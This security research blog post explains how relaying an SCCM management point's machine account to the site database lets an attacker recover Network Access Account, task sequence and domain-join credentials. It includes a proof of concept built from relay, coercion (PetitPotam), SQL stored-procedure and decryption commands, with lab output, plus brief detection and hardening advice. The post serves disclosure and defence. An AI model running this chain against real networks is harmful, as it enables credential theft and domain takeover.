I’d Like to Speak to Your Manager: Stealing Secrets with Management Point Relays
Jul 15 2025
By: Garrett Foster • 24 min read
TL;DR Network Access Account, Task Sequence, and Collection Settings policies can be recovered from SCCM by relaying a remote management point site system to the site database server.
Introduction
Duane Michael and I recently had the privilege to speak at the TROOPERS 25 conference, where we summarized the last year of SCCM research since the Misconfiguration Manager project was published. Part of that talk was to highlight updates to the repository, which included the ELEVATE-4 and ELEVATE-5 techniques. If you haven’t seen those additions yet, both involve abusing SCCM operating system deployment (OSD) in environments that use Active Directory Certificate Services (AD CS) for PKI.
To summarize the issues, during OSD, a new client authenticates to their assigned management point (MP) by briefly borrowing a certificate from the distribution point (DP). In default deployments, the borrowed certificate is self-signed, but when PKI is deployed, based on guidance from Microsoft, the identity of the certificate is likely to be a distribution point (DP). The result of compromising this certificate would yield control of the DP’s identity at a minimum.
Reading this, you may recognize the connection with CRED-1 that spoofs the PXE boot OSD process to recover credentials from client policies. Basically, we’re stealing the cert from step 8 of how CRED-1 summarizes the PXE process in SCCM.

If you want to explore how OSD client communication and policy request messages work in depth, you absolutely should check out Christopher Panayi’s blog, Identifying and retrieving credentials from SCCM/MECM Task Sequences. Christopher originally discovered CRED-1 and is the primary developer of the PXEthief tool used in these techniques. I’ll be using both his blog and PXEthief as references throughout this post.
My contributions to this update were to add documentation for these techniques. I don’t know about you, but when I’m working on updating documentation, I’ll search for ways to avoid it. And since I was reading blogs, Microsoft Learn pages, and source code to update Misconfiguration Manager, I realized I had found the perfect excuse: we haven’t really explored where policies are stored and how Management Points (MPs) retrieve them for clients. Could it be possible to skip the whole OSD process and go straight to the source to extract policy secrets?

Unknown Computer Objects
First, we’ll take a peek at the source code of Chris’s tool, PXEthief, to see how I got triggered by this whole thing. I was following the policy decryption process when I read in the make_all_http_requests_and_retrieve_sensitive_policies
function that the clientID variable is set by parsing the response from the /SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA
parameter on the MP.

I’d never paid much attention to this URL before. Browsing to it on the MP returns a few public keys and two GUIDs for x86 and x64 unknown machines.

So what is an “UnknownMachine“? The GUIDs in the response reference two computer objects that are members of the built-in “All Unknown Computers” device collection. You can see the GUIDs are a match from the HTTP response for the x64 object below.

When a device has been enrolled in SCCM, it is given a unique identifier (we’ll call it clientID), such as “GUID:C95005DB-A73A-4A98-B163-BFE13A1F3584”, to identify the device’s associated client record. During OSD, SCCM first checks if a client record exists for the computer being deployed. If it doesn’t, SCCM falls back to an unknown machine GUID and attempts to run any task sequences applied to the “All Unknown Computers” collection. Remember, we’re working with a machine that is borrowing a client authentication certificate to authenticate HTTP requests, so an existing clientID is unlikely.
Going back to that sms_aut? endpoint, I searched for the endpoint’s URL parameter, “MPKEYINFORMATIONMEDIA”, and found it in a MP dependency, GetAuth.dll
. Overall, the best way to describe this library is it’s an authentication bootstrapper that provides clients with information on how to locate and establish secure communications with a MP. This mind map includes a good visual representation of this process.

Decompiling the DLL in Ghidra, the “MPKEYINFORMATIONMEDIA” string is referenced in FUN_180002388
.

The entry point for the extension is HttpExtensionProc
, which queues a worker thread when processing an incoming request.

The QueueUserWorkItem
function handles a few tasks:
- Checks to ensure the MP that’s handling the request is alive
- Initializes COM (oh no)
- Then passes the auth request to the
ProcessAuth
function

In ProcessAuth
, we see the request passed to another function responsible for matching the parameter in the authentication request against a list of strings. The function iterates through the list and then returns a value of “0xe” when it hits a match for “MPKEYINFORMATIONMEDIA”. There are 15 of these strings total, and most of them don’t require authentication to request a response from. There’s some useful information there that we’ll revisit later.

Let’s go back to the ProcessAuth
function with the “0xe” result. The call to Get_MPKEYINFORMATIONMEDIA
is a bit too large to go over in depth, but the XML response body we saw from the GET request is built in this function.

There’s a series of local registry queries to return the certificate signatures and public keys, but the most interesting bit to me was logging output for a failure to initialize a COM instance during a call to CHandleAuthRequest::GetListOfMPsFromDBExForMedia()
. Following this function leads to COM, and COM is a silly place, so let’s try to avoid that for now. Instead, it’s the first site database interaction, which I was hoping for, so let’s pivot.

Before we jump over to the database, I mentioned some useful parameters that may be accessible unauthenticated. Your mileage may vary, though, as I’ve checked access to these across various deployments on various patch levels, and it sometimes prompts for authentication. I do know with certainty that if PKI is configured, you will not be able to reach any endpoint without a trusted client auth cert. That being said, the first request I want to show is “MPLIST”, which will return a list of all MPs in the site. Obviously, we already know of one since we’re interacting with a client’s MP, but network segmentation is a thing, and MPs are useful for pivoting.

Another is “SITESIGNCERT”, which returns a signature and public key for the site signing certificate. This certificate is responsible for both authenticating and encrypting communications between the various site system roles. It’s also the public key of the primary site server. By decoding the certificate, you can identify the primary site server without ever touching LDAP. This is useful as I’ve seen (e..g, been caught by D=) some custom detections for RECON-1. We’ll likely add these techniques to Misconfiguration Manager, but the takeaway is you could profile SCCM without needing to touch Active Directory at all. Better yet, this also solves the problem of enumerating environments that don’t have the extended AD schema and instead rely solely on DNS. Masochists!


Management Points and the Site Database
Full disclosure: I’ve been searching for a way to abuse the MP’s roles in the site database since we started researching SCCM. Yes, there have been examples of spoofing client enrollment for credential recovery, and Synacktiv found an awesome unauthenticated RCE, but what we were looking for was a reliable, by default, “it’s a feature” style attack path. The best I’d managed to come up with was, “Well, we can pass back the service account with xp_dirtree.” Cool.

An MP’s host machine account may be associated with three SQL role memberships in the site database. In my lab, my MP has the smsdbrole_MP
and smsdbrole_MPUserSvc
. I’ve yet to see the smsdbrole_MPMBAM
role in a production environment, and it’s not a default role assignment, so I didn’t spend a ton of time on it.

As far as table permissions go for these roles, my lab MP can execute a SELECT statement on the tables pictured below. For what it’s worth, I did grant the MP account the smsdbrole_MPMBAM
role, but it didn’t yield anything extra.

What the default MP roles do possess, however, are a ton of EXEC permissions for stored procedures (SPs).
If you aren’t familiar with SPs, they’re a series of SQL statements bundled together and stored in the database. The crowd favorite xp_cmdshell
is a familiar example, though it’s known as an extended stored procedure, as its logic is imported from a DLL.
Browsing through what procedures are available to the MP, some start to look similar to the CHandleAuthRequest::GetListOfMPsFromDBExForMedia
call seen in getauth.dll
.

Fortunately, SQL Server Management Studio (SSMS) has a database debugging/monitoring tool called SQL Server Profiler, and it’s particularly useful for monitoring SP execution. My theory at this point was that maybe I could avoid reversing COM and just monitor the database during the PXEthief execution flow to understand how policies are retrieved for clients.

Back in the PXEthief code, the clientID (unknown computer object GUID) obtained from the MP is used to build a RequestAssignments
XML body.

Both Chris and Adam Chester have described, in detail, how policy request messages are built by clients, with slight differences between the requests for an unknown client and an approved client.Overall, the flow is the same:
- Client authenticates to the MP
- Client requests a list of policies assigned to their clientID
- Client receives a list of policies and their associated URLs or content locations
- Client begins execution of whatever policies or software installations are assigned
Quick note: I’ve tried using an approved client’s authentication material to request policies with unknown clientIDs and vice versa, but those failed. I’ve got a theory on what’s blocking this, but it would be interesting to explore if you’re looking for something to do.
Before running PXEthief, I kicked off the SQL profiler and also set up Wireshark on the MP to compare HTTP traffic from the client to what’s concurrently being executed in the database. The captured traffic shows the GUID lookup we know of, then a CCM_POST
request that contains the RequestAssignments
message. The response to this request contains all of the policies and their associated download URLs available to the provided clientID. PXEthief parses out these URLs and then downloads policies that are known to contain secrets.

In SQL monitor you can correlate the HTTP traffic to some of the procedures being run.
MP_GetListOfMPSInSiteOSD
returns the list of Management Points we see in the “MPKEYINFORMATIONMEDIA” requestMP_GetMacinePolicyAssignments
returns the policy assignments associated with the x64UnkownMachine clientID after the CCM_POST request- Two executions of
MP_GetPolicyBodyAfterAuthorization
to request the policy body content based on the parameter provided in the GET request to a new endpoint.sms_pol?

Admittedly, my very next step was to immediately run the Get_PolicyBodyAfterAuthorization
procedure. Seeing “Get_PolicyBody” was a bit too good to ignore. The result of the procedure returns a hex-encoded “Body” blob.

Strip the BOM, decode the blob, and we’re met with a familiar friend, the “NAAConfig” policy that contains network access account credential blobs. The very same blobs we already know can be decrypted with PXEthief.
sccm git:(main) echo -n '3C003F0078006D006C002000760065007<snipped>0079003E000D000A00' |xxd -r -p
<?xml version="1.0" ?>
<Policy PolicyType="Machine" SchemaVersion="1.00" PolicyID="{083afd7a-b0be-4756-a4ce-c31825050325}" PolicyVersion="2.00" PolicySource="SMS:123">
<PolicyRule PolicyRuleID="{ee0b1adc-44d3-4788-863b-146119cdd324}">
<Condition>
<Expression ExpressionLanguage="WQL" ExpressionType="until-true">
<![CDATA[@root\ccm
SELECT * FROM SMS_Client WHERE ClientVersion <= "5.00.7804.0000"
]]>
</Expression>
</Condition>
<PolicyAction PolicyActionType="WMI-XML">
<instance class="CCM_NetworkAccessAccount">
<property name="SiteSettingsKey" type="19">
<value>
<![CDATA[1]]>
</value>
</property>
<property name="NetworkAccessUsername" type="8" secret="1">
<value>
<![CDATA[89130000777AA4F753DF99D0E979BDE42651182017F08660C16E58C1B5EB59A9670294E6EC8E97C66FD86EB5140000001E0000002000000003660000000000002A7C3268C73A336ADE7C343686A06A656812CE8FCB469B4D7CC5501BCF5D45EA2E0064006C00]]>
</value>
</property>
<property name="NetworkAccessPassword" type="8" secret="1">
<value>
<![CDATA[89130000E82A5A6AE760400B20D98BBAAE2C568BC140C9D6767C6320ACC979E4D34FDD5944EBD4A3C8E913DF14000000180000002000000003660000000000003F11C8F6EBEDF7F32F2F59B02FBDA50A035ACA7C5D2330A7D7013E9F9AF86547]]>
</value>
</property>
<property name="Reserved1" type="8">
<value>
</value>
</property>
<property name="Reserved2" type="8">
<value>
</value>
</property>
<property name="Reserved3" type="8">
<value>
</value>
</property>
</instance>
┌──(PXEThief)─(root㉿sccm-kali)-[/home/kali/PXEThief]
└─# python3 pxethief.py 7 89130000777AA4F753DF99D0E979BDE42651182017F08660C16E58C1B5EB59A9670294E6EC8E97C66FD86EB5140000001E0000002000000003660000000000002A7C3268C73A336ADE7C343686A06A656812CE8FCB469B4D7CC5501BCF5D45EA2E0064006C00
________ ___ ___ _______ _________ ___ ___ ___ _______ ________
|\ __ \|\ \ / /|\ ___ \|\___ ___\\ \|\ \|\ \|\ ___ \ |\ _____\
\ \ \|\ \ \ \/ / | \ __/\|___ \ \_\ \ \\\ \ \ \ \ __/|\ \ \__/
\ \ ____\ \ / / \ \ \_|/__ \ \ \ \ \ __ \ \ \ \ \_|/_\ \ __\
\ \ \___|/ \/ \ \ \_|\ \ \ \ \ \ \ \ \ \ \ \ \ \_|\ \ \ \_|
\ \__\ / /\ \ \ \_______\ \ \__\ \ \__\ \__\ \__\ \_______\ \__\
\|__| /__/ /\ __\ \|_______| \|__| \|__|\|__|\|__|\|_______|\|__|
|__|/ \|__|
[+] Decrypt stored PXE password from SCCM DP registry key Reserved1
PXE Password: ludus\sccm_naa
┌──(PXEThief)─(root㉿sccm-kali)-[/home/kali/PXEThief]
└─# python3 pxethief.py 7 89130000E82A5A6AE760400B20D98BBAAE2C568BC140C9D6767C6320ACC979E4D34FDD5944EBD4A3C8E913DF14000000180000002000000003660000000000003F11C8F6EBEDF7F32F2F59B02FBDA50A035ACA7C5D2330A7D7013E9F9AF86547
________ ___ ___ _______ _________ ___ ___ ___ _______ ________
|\ __ \|\ \ / /|\ ___ \|\___ ___\\ \|\ \|\ \|\ ___ \ |\ _____\
\ \ \|\ \ \ \/ / | \ __/\|___ \ \_\ \ \\\ \ \ \ \ __/|\ \ \__/
\ \ ____\ \ / / \ \ \_|/__ \ \ \ \ \ __ \ \ \ \ \_|/_\ \ __\
\ \ \___|/ \/ \ \ \_|\ \ \ \ \ \ \ \ \ \ \ \ \ \_|\ \ \ \_|
\ \__\ / /\ \ \ \_______\ \ \__\ \ \__\ \__\ \__\ \_______\ \__\
\|__| /__/ /\ __\ \|_______| \|__| \|__|\|__|\|__|\|_______|\|__|
|__|/ \|__|
[+] Decrypt stored PXE password from SCCM DP registry key Reserved1
PXE Password: Password123
Now for the really cool part. As far as I’m aware, up to this point, recovering task sequence variables has been limited to either spoofing OSD or by compromising an endpoint that’s post-deployment where the policies persist on disk. Admins have similar struggles recovering these variables and have to use some creativity with the WinPE environment or by using TaskSequence debug mode. It’s also the only type of credentials we haven’t been able to recover so far from the site database.

Running the second stored procedure changes all of that. Before copying out the blob, notice the value of BodyLen
. The default length for query output in SSMS is 65535. If the body length is greater than this, you’ll end up with truncated results and will run into issues decoding. You can change this by navigating to Query > Query Options > Grid and increasing the value of “Maximum Characters Retrieved”. From there, just repeat the same steps as before to decode the task sequence policy.


The same PXEthief command will decrypt the TS_Sequence
value and yield whatever variables were set. In this case, the domain join account.
┌──(PXEThief)─(root㉿sccm-kali)-[/home/kali/PXEThief]
└─# python3 pxethief.py 7 3C003F0078006D006<SNIPPED>06900630079003E000D000A00 |xmllint --format -
<?xml version="1.0"?>
<sequence version="3.10">
<referenceList>
<reference package="12300005"/>
<SNIPPED>
<action>osdnetsettings.exe configure</action>
<defaultVarList>
<variable name="OSDDomainName" property="DomainName">ludus.domain</variable>
<variable name="OSDDomainOUName" property="DomainOUName">LDAP://OU=Workstations,DC=ludus,DC=domain</variable>
<variable name="OSDJoinPassword" property="DomainPassword">password</variable>
<variable name="OSDJoinAccount" property="DomainUsername">ludus\domainadmin</variable>
<variable name="OSDEnableTCPIPFiltering" property="EnableTCPIPFiltering" hidden="true">false</variable>
<variable name="OSDNetworkJoinType" property="NetworkJoinType">0</variable>
<variable name="OSDAdapterCount" property="NumAdapters" hidden="true">0</variable>
<SNIPPED>
</group>
</sequence>
POC || GTFO
So bundle all this up together, and we’ve got an attack path to coerce a remote site management point to the site database and recover OSD policy secrets.
First, set ntlmrelayx.py to target the site database and establish a persistent SOCKS session in the context of the relayed account.
ntlmrelayx.py -ts -t mssql://10.3.10.13 -socks -smb2support
Next, coerce an identified Management Point to the attacking system where ntlmrelayx is listening. In this example, we’ll use PetitPotam.
┌──(impacket)─(root㉿sccm-kali)-[~/PetitPotam]
└─# python3 PetitPotam.py 10.3.10.20 10.3.10.14 -u domainuser -p password -d ludus.domain -dc-ip 10.3.10.10
<SNIPPED>
Trying pipe lsarpc
[-] Connecting to ncacn_np:10.3.10.14[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
Authentication should be relayed as the target MP, and a SOCKS session held open.
└─# ntlmrelayx.py -ts -t mssql://10.3.10.13 -socks -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
<SNIPPED>
[2025-07-07 01:02:51] [*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx> [2025-07-07 01:02:54] [*] SMBD-Thread-9 (process_request_thread): Received connection from 10.3.10.14, attacking target mssql://10.3.10.13
[2025-07-07 01:02:54] [*] Authenticating against mssql://10.3.10.13 as LUDUS/SCCM-MGMT$ SUCCEED
[2025-07-07 01:02:54] [*] SOCKS: Adding LUDUS/SCCM-MGMT$@10.3.10.13(1433) to active SOCKS connection. Enjoy
[2025-07-07 01:02:54] [*] All targets processed!
[2025-07-07 01:02:54] [*] SMBD-Thread-10 (process_request_thread): Connection from 10.3.10.14 controlled, but there are no more targets left!
socks
Protocol Target Username AdminStatus Port
-------- ---------- ---------------- ----------- ----
MSSQL 10.3.10.13 LUDUS/SCCM-MGMT$ N/A 1433
ntlmrelayx>
From here, you’ll need the x64UnknownMachineGUID. You can either pull this from the previously discussed “MPKEYINFORMATIONMEDIA” HTTP endpoint or run one of the few SELECT queries available to the MP. To run the query, proxy mssqlclient.py in the context of the MP. Note: this is not limited to only the OSD policies. If you know another clientID you can use that instead to check for assigned policies. This is not limited to just OSD!
┌──(PXEThief)─(root㉿sccm-kali)-[~/PetitPotam]
└─# proxychains mssqlclient.py LUDUS/SCCM-MGMT\$@10.3.10.13 -windows-auth
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.3.10.13:1433 ... OK
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(sccm-sql): Line 1: Changed database context to 'master'.
[*] INFO(sccm-sql): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (ludus\SCCM-MGMT$ guest@master)> select * from dbo.UnknownSystem_DISC
ERROR(sccm-sql): Line 1: Invalid object name 'dbo.UnknownSystem_DISC'.
SQL (ludus\SCCM-MGMT$ guest@master)> use CM_123
ENVCHANGE(DATABASE): Old Value: master, New Value: CM_123
INFO(sccm-sql): Line 1: Changed database context to 'CM_123'.
SQL (ludus\SCCM-MGMT$ ludus\SCCM-MGMT$@CM_123)> select * from dbo.UnknownSystem_DISC
ItemKey DiscArchKey SMS_Unique_Identifier0 Name0 Description0 CPUType0 Creation_Date0 SiteCode0 Decommissioned0
---------- ----------- ------------------------------------ ------------------------------------------- -------------------- -------- ------------------- --------- ---------------
2046820352 2 10993e21-6145-4cb4-a9cb-86c95721cd93 x86 Unknown Computer (x86 Unknown Computer) x86 Unknown Computer x86 2025-06-04 16:15:07 123 0
2046820353 2 e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7 x64 Unknown Computer (x64 Unknown Computer) x64 Unknown Computer x64 2025-06-04 16:15:07 123 0
Next, run the MP_GetMachinePolicyAssignments
stored procedure for the recovered x64 clientID. The results of this query will be heavy, so I’d suggest teeing the contents out to a file for parsing.
└─# proxychains mssqlclient.py LUDUS/SCCM-MGMT\$@10.3.10.13 -debug -windows-auth -db CM_123 -command "exec MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N''" |tee assignments.txt
Impacket v0.13.0.dev0+20250702.182415.b33e994d - Copyright Fortra, LLC and its affiliated companies
[+] Impacket Library Installation Path: /root/impacket/lib/python3.13/site-packages/impacket
Password:
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.3.10.13:1433 ... OK
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(sccm-sql): Line 1: Changed database context to 'master'.
[*] INFO(sccm-sql): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
SQL> exec MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N''
PolicyAssignmentID Version LastUpdateTime Body IsTombstoned BodySignature HashAlgId HashAlgOID InProcess SiteMaintenance ClientStatus
-------------------------------------- ------- ----------------------- ---------- ------------ --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------- --------------------- --------- --------------- ------------
{cc2020c2-ff76-4f5c-a226-c76bf22121eb} 1.00 2025-07-04 14:33:34.250 b'fffe3c0050006f006c00690063007900410073007300690067006e006d0065006e007400200050006f006c00690063007900410073007300690067006e006d0065006e007400490044003d0022007b00630063003200300032003000630032002d0066006600370036002d0034006600350063002d0061003200320036002d006300370036006200660032003200310032003100650062007d0022003e000d000a003c0043006f006e0064006900740069006f006e003e003c004f00700065007200610074006f00720020004f00700065007200610074006f00720054007900700065003d00220041004e00440022003e003c00450078007000720065007300730069006f006e002000450078007000720065007300730069006f006e0054007900700065003d00220063006f006e00740069006e0075006f007500730022002000450078007000720065007300730069006f006e004c0061006e00670075006100670065003d002200570051004c0022003e00530045004c0045004300540020002a002000460052004f004d002000570069006e00330032005f004f007000650072006100740069006e006700530079007300740065006d0020005700480045005200450020004f00530054007900700065003d00310038003c002f00450078007000720065007300730069006f006e003e003c00450078007000720065007300730069006f006e002000450078007000720065007300730069006f006e0054007900700065003d00220075006e00740069006c002d00740072007500650022002000450078007000720065007300730069006f006e004c0061006e00670075006100670065003d002200570051004c0022003e003c0021005b00430044004100540041005b00400072006f006f0074005c00630063006d000d0 <SNIPPED>
Each of these hex blobs will need to be decoded. From the results, search for the NAAConfig, TaskSequence, and CollectionSettings policies. If found, collect the PolicyID and PolicyVersion values from each.

At this stage, rather than use the MP_GetPolicyBodyAfterAuthorization
procedure, we’re just gonna skip that because one of the parameters is the clientID for the certificate being used to authenticate the OSD client – which we don’t have from this perspective. Instead, I found the MP_GetPolicyBody
procedure that only requires the PolicyID and PolicyVersion values, which we have from the list of policy assignments. Again, I would encourage teeing the results of the query to a file because the output is massive and will flood your terminal. Repeat the following process for each secret policy assigned:
──(impacket)─(root㉿sccm-kali)-[~/impacket]
└─# proxychains mssqlclient.py LUDUS/SCCM-MGMT\$@10.3.10.13 -debug -windows-auth -db CM_123 -command "exec MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00'" |tee NAAConfig.txt
Impacket v0.13.0.dev0+20250702.182415.b33e994d - Copyright Fortra, LLC and its affiliated companies
[+] Impacket Library Installation Path: /root/impacket/lib/python3.13/site-packages/impacket
Password:
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.3.10.13:1433 ... OK
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(sccm-sql): Line 1: Changed database context to 'master'.
[*] INFO(sccm-sql): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
SQL> exec MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00'
Body BodyLen PolicyFlags
---------- ------- -----------
b'fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e003000220020003f003e000d000a003c0050006f006c00690063007900200050006f006c0069006300790054007900700065003d0022004d0061006300680069006e0065002200200053006300680065006d006100560065007200730069006f006e003d00220031002e00300030002200200050006f006c00690063007900490044003d0022007b00300038003300610066006400370061002d0062003000620065002d0034003700350036002d0061003400630065002d006300330031003800320035003000350030003300320035007d002200200050006f006c0069 <SNIPPED>
Decode the Body hex blob and decrypt any secrets recovered from the policies.
──(impacket)─(root㉿sccm-kali)-[~/impacket]
└─# echo - -n '3c003f0078006d00<SNIPPED>006f006c006900630079003e000d000a00' |xxd -r -p
<?xml version="1.0" ?>
<Policy PolicyType="Machine" SchemaVersion="1.00" PolicyID="{083afd7a-b0be-4756-a4ce-c31825050325}" PolicyVersion="2.00" PolicySource="SMS:123">
<PolicyRule PolicyRuleID="{ee0b1adc-44d3-4788-863b-146119cdd324}">
<Condition>
<Expression ExpressionLanguage="WQL" ExpressionType="until-true">
<![CDATA[@root\ccm
SELECT * FROM SMS_Client WHERE ClientVersion <= "5.00.7804.0000"
]]>
</Expression>
</Condition>
<PolicyAction PolicyActionType="WMI-XML">
<instance class="CCM_NetworkAccessAccount">
<property name="SiteSettingsKey" type="19">
<value>
<![CDATA[1]]>
</value>
</property>
<property name="NetworkAccessUsername" type="8" secret="1">
<value>
<![CDATA[89130000777AA4F753DF99D0E979BDE42651182017F08660C16E58C1B5EB59A9670294E6EC8E97C66FD86EB5140000001E0000002000000003660000000000002A7C3268C73A336ADE7C343686A06A656812CE8FCB469B4D7CC5501BCF5D45EA2E0064006C00]]>
</value>
</property>
<property name="NetworkAccessPassword" type="8" secret="1">
<value>
<![CDATA[89130000E82A5A6AE760400B20D98BBAAE2C568BC140C9D6767C6320ACC979E4D34FDD5944EBD4A3C8E913DF14000000180000002000000003660000000000003F11C8F6EBEDF7F32F2F59B02FBDA50A035ACA7C5D2330A7D7013E9F9AF86547]]>
</value>
</property>
<property name="Reserved1" type="8">
<value>
</value>
</property>
<property name="Reserved2" type="8">
<value>
</value>
</property>
<property name="Reserved3" type="8">
<value>
</value>
</property>
</instance>
</PolicyAction>
</PolicyRule>
┌──(PXEThief)─(root㉿sccm-kali)-[/home/kali/PXEThief]
└─# python3 pxethief.py 7 89130000777AA4F753DF99D0E979BDE42651182017F08660C16E58C1B5EB59A9670294E6EC8E97C66FD86EB5140000001E0000002000000003660000000000002A7C3268C73A336ADE7C343686A06A656812CE8FCB469B4D7CC5501BCF5D45EA2E0064006C00
________ ___ ___ _______ _________ ___ ___ ___ _______ ________
|\ __ \|\ \ / /|\ ___ \|\___ ___\\ \|\ \|\ \|\ ___ \ |\ _____\
\ \ \|\ \ \ \/ / | \ __/\|___ \ \_\ \ \\\ \ \ \ \ __/|\ \ \__/
\ \ ____\ \ / / \ \ \_|/__ \ \ \ \ \ __ \ \ \ \ \_|/_\ \ __\
\ \ \___|/ \/ \ \ \_|\ \ \ \ \ \ \ \ \ \ \ \ \ \_|\ \ \ \_|
\ \__\ / /\ \ \ \_______\ \ \__\ \ \__\ \__\ \__\ \_______\ \__\
\|__| /__/ /\ __\ \|_______| \|__| \|__|\|__|\|__|\|_______|\|__|
|__|/ \|__|
[+] Decrypt stored PXE password from SCCM DP registry key Reserved1
PXE Password: ludus\sccm_naa
┌──(PXEThief)─(root㉿sccm-kali)-[/home/kali/PXEThief]
└─# python3 pxethief.py 7 89130000E82A5A6AE760400B20D98BBAAE2C568BC140C9D6767C6320ACC979E4D34FDD5944EBD4A3C8E913DF14000000180000002000000003660000000000003F11C8F6EBEDF7F32F2F59B02FBDA50A035ACA7C5D2330A7D7013E9F9AF86547
________ ___ ___ _______ _________ ___ ___ ___ _______ ________
|\ __ \|\ \ / /|\ ___ \|\___ ___\\ \|\ \|\ \|\ ___ \ |\ _____\
\ \ \|\ \ \ \/ / | \ __/\|___ \ \_\ \ \\\ \ \ \ \ __/|\ \ \__/
\ \ ____\ \ / / \ \ \_|/__ \ \ \ \ \ __ \ \ \ \ \_|/_\ \ __\
\ \ \___|/ \/ \ \ \_|\ \ \ \ \ \ \ \ \ \ \ \ \ \_|\ \ \ \_|
\ \__\ / /\ \ \ \_______\ \ \__\ \ \__\ \__\ \__\ \_______\ \__\
\|__| /__/ /\ __\ \|_______| \|__| \|__|\|__|\|__|\|_______|\|__|
|__|/ \|__|
[+] Decrypt stored PXE password from SCCM DP registry key Reserved1
PXE Password: Password123
Finishing the COM path
Admittedly, I did actually want to dig into how the MP communicates with the database to run these procedures and complete the path from initial HTTP request to the returned database result. The use of the SQL profiler tool was a convenient win, but I still had to scratch that itch in my brain.
Back in the Get_MPKEYINFORMATIONMEDIA
function before the error message string, we can see how the COM proxy object is instantiated and the memory references for the CLSID and interface ID.


Searching for the CLSID in OleView shows the “MPISAPIProxy” class is implemented in mpisapi.dll
.

Inspecting the type library for the mpisapi.dll
shows the interface and methods being used to execute the procedure; however, there’s still no database connection.

So I threw the DLL into Ghidra, then located the function where the method was referenced to find another COM proxy object.


Finally, this CLSID mercifully references the “MPDBConnection” class implemented in mpdb.dll
.

Inspecting the interface ID for the class yields all the methods used to connect to the database and execute the stored procedures. There, itch scratched.

Defensive Considerations
As this attack path takes advantage of functionality and the permissions associated with the role, detecting malicious use can be challenging, but I do have some thoughts. The highest fidelity detection you could use would be DETECT-1. Since this technique involves credential relaying, the source IP for the authentication being anything other than the expected IP of the MP would be a strong indicator.
Another is implementing EPA for the site database as detailed in PREVENT-14. I strongly encourage testing this configuration change before pushing to production, as I’ve heard anecdotally that this setting has caused issues.
Final Thoughts
Here are a few other interesting procedures you could check out:
- PXE_GetMpCertificates
- MP_GetUserIdentificationXml
- MP_GetUserAndUserGroupPolicyAssignments
I plan to include the capability to recover these credentials into SCCMHunter as part of an updated release for BlackHat Arsenal. If you’re going to be at the conference, my demo is on Wednesday, August 6th, from 12:00-12:55, so come say hi and get some stickers!
Come hang out with us in the #sccm channel on the BloodHound Slack. It’s been cool to see other members of the industry develop SCCM tradecraft, and I’m curious to see what the next year brings.